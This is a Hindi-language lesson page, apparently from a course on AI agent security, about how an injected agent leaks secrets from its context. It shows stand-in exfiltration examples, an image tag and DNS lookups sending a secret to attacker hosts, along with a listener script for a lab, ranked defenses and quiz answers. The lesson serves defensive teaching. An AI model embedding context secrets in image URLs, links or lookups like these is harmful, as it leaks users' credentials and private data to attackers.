Agent सुरक्षामध्यमपाठ 125 मिनट का पाठ

डेटा असल में कैसे बाहर निकलता है

Exfiltration (डेटा चोरी) शायद ही कभी फ़ाइल अपलोड जैसी दिखती है। यह किसी तस्वीर, लिंक या थोड़े अजीब सर्च की तरह दिखती है। यह ट्रिक देखने के लिए हर चैनल पर क्लिक करें।

पाठ वीडियो में

60 सेकंड में

डेटा असल में कैसे बाहर निकलता है

Exfiltration (डेटा चोरी) शायद ही कभी फ़ाइल अपलोड जैसी दिखती है। यह किसी तस्वीर, लिंक या थोड़े अजीब सर्च की तरह दिखती है। यह ट्रिक देखने के लिए हर चैनल पर क्लिक करें।

1/5
आसान शब्दों में
चोर को खजाना मुख्य दरवाज़े से बाहर ले जाने की ज़रूरत नहीं होती। वे खिड़की से फुसफुसाकर कोड बता सकते हैं, पोस्टकार्ड पर लिख सकते हैं, या किसी चित्र में छिपा सकते हैं।
Exfiltration का मतलब है जानकारी को बाहर निकालना। किसी एजेंट के लिए, लीक का रास्ता लगभग कभी भी सीधा-सादा नहीं होता, क्योंकि सीधे रास्तों पर लोग पहरा रखते हैं।

डायग्राम के किसी भी बॉक्स पर टैप करें

Secret in contextkeys, emails, codeInjected agentImage URL<img src=evil/?d=SECRET>Markdown linkuser clicks itSearch querylogged by the siteEmail / postthe loud wayonly the last one looks like an attack in your logsthe first three are "normal output"
रेंडर की गई इमेज

मॉडल हमलावर के सर्वर की ओर इशारा करने वाली एक इमेज लिखता है, जिसमें URL के अंदर ही सीक्रेट जुड़ा होता है। आपका चैट इंटरफ़ेस इमेज को अपने आप रेंडर कर देता है। बिना किसी क्लिक या चेतावनी के इमेज लोड हो जाती है, और सीक्रेट वेब सर्वर के लॉग में पहुंच जाता है। असल दुनिया में एजेंट exfiltration का यह सबसे आम तरीका है और यह पूरी तरह चुपचाप होता है।

हर चैनल पर क्लिक करें। ख़तरनाक रास्ते इसलिए ख़तरनाक हैं क्योंकि वे ऐसे लगते हैं मानो एजेंट बस अपना काम कर रहा हो।

डेटा लीक के लिए बहुत कम बैंडविड्थ की ज़रूरत होती है

लोग मान लेते हैं कि exfiltration के लिए बहुत बड़े इंटरनेट पाइप की ज़रूरत होती है। ऐसा नहीं है। एक API key लगभग 40 अक्षरों की होती है। पासवर्ड उससे भी छोटा होता है। यहां तक कि एक ऐसा चैनल भी जो एक बार में सिर्फ एक बिट लीक करता है — "पेज लोड हुआ या नहीं?" — पर्याप्त रिक्वेस्ट मिलने पर सीक्रेट निकाल लेता है, और एक एजेंट बहुत सारी रिक्वेस्ट भेज सकता है।

बचाव के तरीके, सबसे मज़बूत सबसे पहले

  1. 1

    आउटबाउंड allow-list

    एजेंट के एनवायरनमेंट से नेटवर्क बाहर जाने (egress) को सिर्फ आपके चुने हुए डोमेन तक सीमित किया जाता है। कोई अनजान होस्ट लोड ही नहीं होता। यह ऊपर बताए गए हर चैनल को एक साथ बंद कर देता है।
  2. 2

    बाहरी कंटेंट को अपने आप रेंडर न करें

    आउटपुट में इमेज के अपने आप लोड होने और बाहरी रिक्वेस्ट को ब्लॉक करें। बाहर संपर्क करने वाली किसी भी चीज़ को प्रॉक्सी करें या हटा दें।
  3. 3

    सीक्रेट्स को संदर्भ (context) से पूरी तरह बाहर रखें

    एजेंट किसी टूल से "API key का उपयोग करने" को कहता है, और चाबी टूल के पास ही रहती है। अगर चाबी कभी context window में आती ही नहीं, तो इसे किसी URL में नहीं लिखा जा सकता।
  4. 4

    तैयार आउटपुट से URL हटाएं

    केवल अपनी लिस्ट के डोमेन के लिंक की अनुमति दें। रेंडर करने से पहले बाकी सभी को बदल दें या हटा दें।
  5. 5

    टूल कॉल्स में अजीब URL पर नज़र रखें

    लंबी क्वेरी स्ट्रिंग्स, base64 जैसे दिखने वाले ब्लॉक्स और अनजान होस्ट्स पर अलर्ट लगाएं। यह रोकथाम नहीं, पहचान है — लेकिन यह आपको बताता है कि आप पर कब हमला हुआ।
यह करें
सबसे अच्छी एकल आदत: मॉडल को कभी कोई क्रेडेंशियल नहीं देखना चाहिए। इसे केवल किसी काम के लिए कहना चाहिए; एक टूल उस काम को उस चाबी से करता है जिसे मॉडल ने कभी पढ़ा ही नहीं है। यह एक डिज़ाइन फैसला कई तरह की समस्याओं को पूरी तरह खत्म कर देता है।

और देखें और पढ़ें

लैब

चार exfiltration चैनल दिखाए गए, फिर नेटवर्क लेयर पर उन्हें बंद कर दिया गया।

~20 min

समस्या

अपने किसी सिस्टम पर, context में एक कैनरी सीक्रेट रखें। इसे चार तरीकों से बाहर निकालें: एक मार्कडाउन इमेज URL, एक क्लिक करने योग्य लिंक, एक सर्च क्वेरी, और एक DNS लुकअप। अपने लिसनर पर हर आगमन को लॉग करें। फिर एक ही कंट्रोल से उन सभी को बंद करें और दोबारा चलाएं।
शुरुआती कोडpython
import http.server, socketserver
# Minimal listener — watch what arrives in the query string.
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print("EXFIL:", self.path)
        self.send_response(200); self.end_headers()
socketserver.TCPServer(("", 8899), H).serve_forever()
Google Colab खोलें ↗इस कोड के लिए आपके अपने सेटअप की ज़रूरत है (एक मॉडल, एक GPU या अतिरिक्त पैकेज)। इसे Google Colab में चलाएं: File → Upload notebook।

आपका काम तब पूरा होगा जब

कठिन सवाल

उत्तर देखने से पहले ख़ुद जवाब देने की कोशिश करें। अगर आप इनके जवाब दे सकते हैं, तो आप पाठ समझ गए हैं।

Q1आपने सभी आउटबाउंड HTTP को ब्लॉक कर दिया। समझाएं कि DNS अभी भी कैसे लीक करता है, और आपको क्या कॉन्फ़िगर करना चाहिए।दिखाएं
कनेक्शन बनने से पहले रिज़ॉल्यूशन होता है। <secret>.attacker.example का लुकअप हमलावर के आधिकारिक नेम सर्वर तक पहुंच जाता है, भले ही बाद का TCP कनेक्शन रोक दिया जाए — क्वेरी खुद ही डेटा को ले जाती है। आपको सभी रिज़ॉल्यूशन को अपने नियंत्रण वाले रिज़ॉल्वर से गुज़ारना होगा, केवल उन नामों को अनुमति (allow-list) देनी होगी जिनका वह जवाब देगा, और बाकी सब को ब्लॉक करना होगा। एक ऐसी egress पॉलिसी जो HTTP को फ़िल्टर करती है लेकिन DNS को खुला छोड़ देती है, उसमें एक होस्टनेम के बराबर छेद बना रहता है।
Q2एक एजेंट प्रति रिक्वेस्ट एक बिट लीक करता है — पेज या तो लोड होता है या नहीं। 40-अक्षर की API key को बाहर निकालने के लिए कितनी रिक्वेस्ट की ज़रूरत होगी, और इससे आपको क्या सीख मिलती है?दिखाएं
लगभग 40 × log2(62) ≈ 240 बिट्स, यानी सीधे एनकोडिंग के लिए लगभग 240 रिक्वेस्ट, और किसी बेहतर तरीके से इससे भी बहुत कम। एक एजेंट इसे एक मिनट से भी कम समय में भेज सकता है। सीख यह है: बैंडविड्थ कभी भी बचाव का तरीका नहीं होती। कोई भी चैनल जो एक बिट को ठीक से ले जा सकता है, वह सब कुछ ले जा सकता है, इसलिए सुरक्षा उपाय 'कोई चैनल नहीं' होना चाहिए, न कि 'एक संकरा चैनल'।

जारी रखने के लिए कृपया साइन इन करें।

अक्सर पूछे जाने वाले सवाल

क्या डेटा DNS के ज़रिए लीक हो सकता है?

हाँ — SECRET.attacker.example का लुकअप सीक्रेट को हमलावर के DNS सर्वर तक पहुंचा देता है, भले ही उसके बाद का कनेक्शन ब्लॉक कर दिया जाए। अगर आप बाहर जाने वाले ट्रैफ़िक को रोक रहे हैं, तो DNS रिज़ॉल्यूशन को भी रोकें, वरना दीवार में एक छेद खुला रह जाएगा।

क्या मार्कडाउन इमेज वाकई अपने आप लोड हो जाती हैं?

कई चैट इंटरफ़ेस में, हाँ, पहले ऐसा होता रहा है। ठीक इसी बग के सामने आने के बाद कई प्रोडक्ट्स ने इसे ठीक किया है। यदि आप कोई ऐसा चैट UI बना रहे हैं जो मॉडल आउटपुट को रेंडर करता है, तो मान कर चलें कि बाहरी इमेज लोडिंग डेटा चोरी का एक ज़रिया है, जब तक कि आपने इसे खास तौर पर बंद न कर दिया हो।

क्या यह सिर्फ सीक्रेट्स के बारे में है?

नहीं। व्यक्तिगत डेटा, निजी बातचीत, आंतरिक योजनाएं और ग्राहकों के रिकॉर्ड — ये सभी मायने रखते हैं, और अधिकांश जगहों पर इन्हें लीक करने पर कानूनी कार्रवाई हो सकती है। किसी लीक को आपका हफ़्ता ख़राब करने के लिए पासवर्ड होना ज़रूरी नहीं है।

मैं इसके लिए अपने सिस्टम की जांच कैसे करूँ?

एक नियंत्रित अभ्यास करें: context में एक नकली सीक्रेट रखें, फिर एक टेस्ट पेज से एजेंट को ऊपर दिए गए प्रत्येक चैनल के ज़रिए इसे लीक करने का निर्देश दें। अपने बाहर जाने वाले लॉग्स (egress logs) पर नज़र रखें। यदि आपका नकली सीक्रेट बाहर कहीं भी दिखाई देता है, तो आपके सिस्टम में कमी है। ऐसा केवल अपने खुद के सिस्टम पर ही करें।

पाठ का टेस्ट

5 सवाल। पास होने और इस पाठ को पूरा करने के लिए 3 सही होने चाहिए (60%)।

टेस्ट देने और अपनी प्रोग्रेस सेव करने के लिए साइन इन करें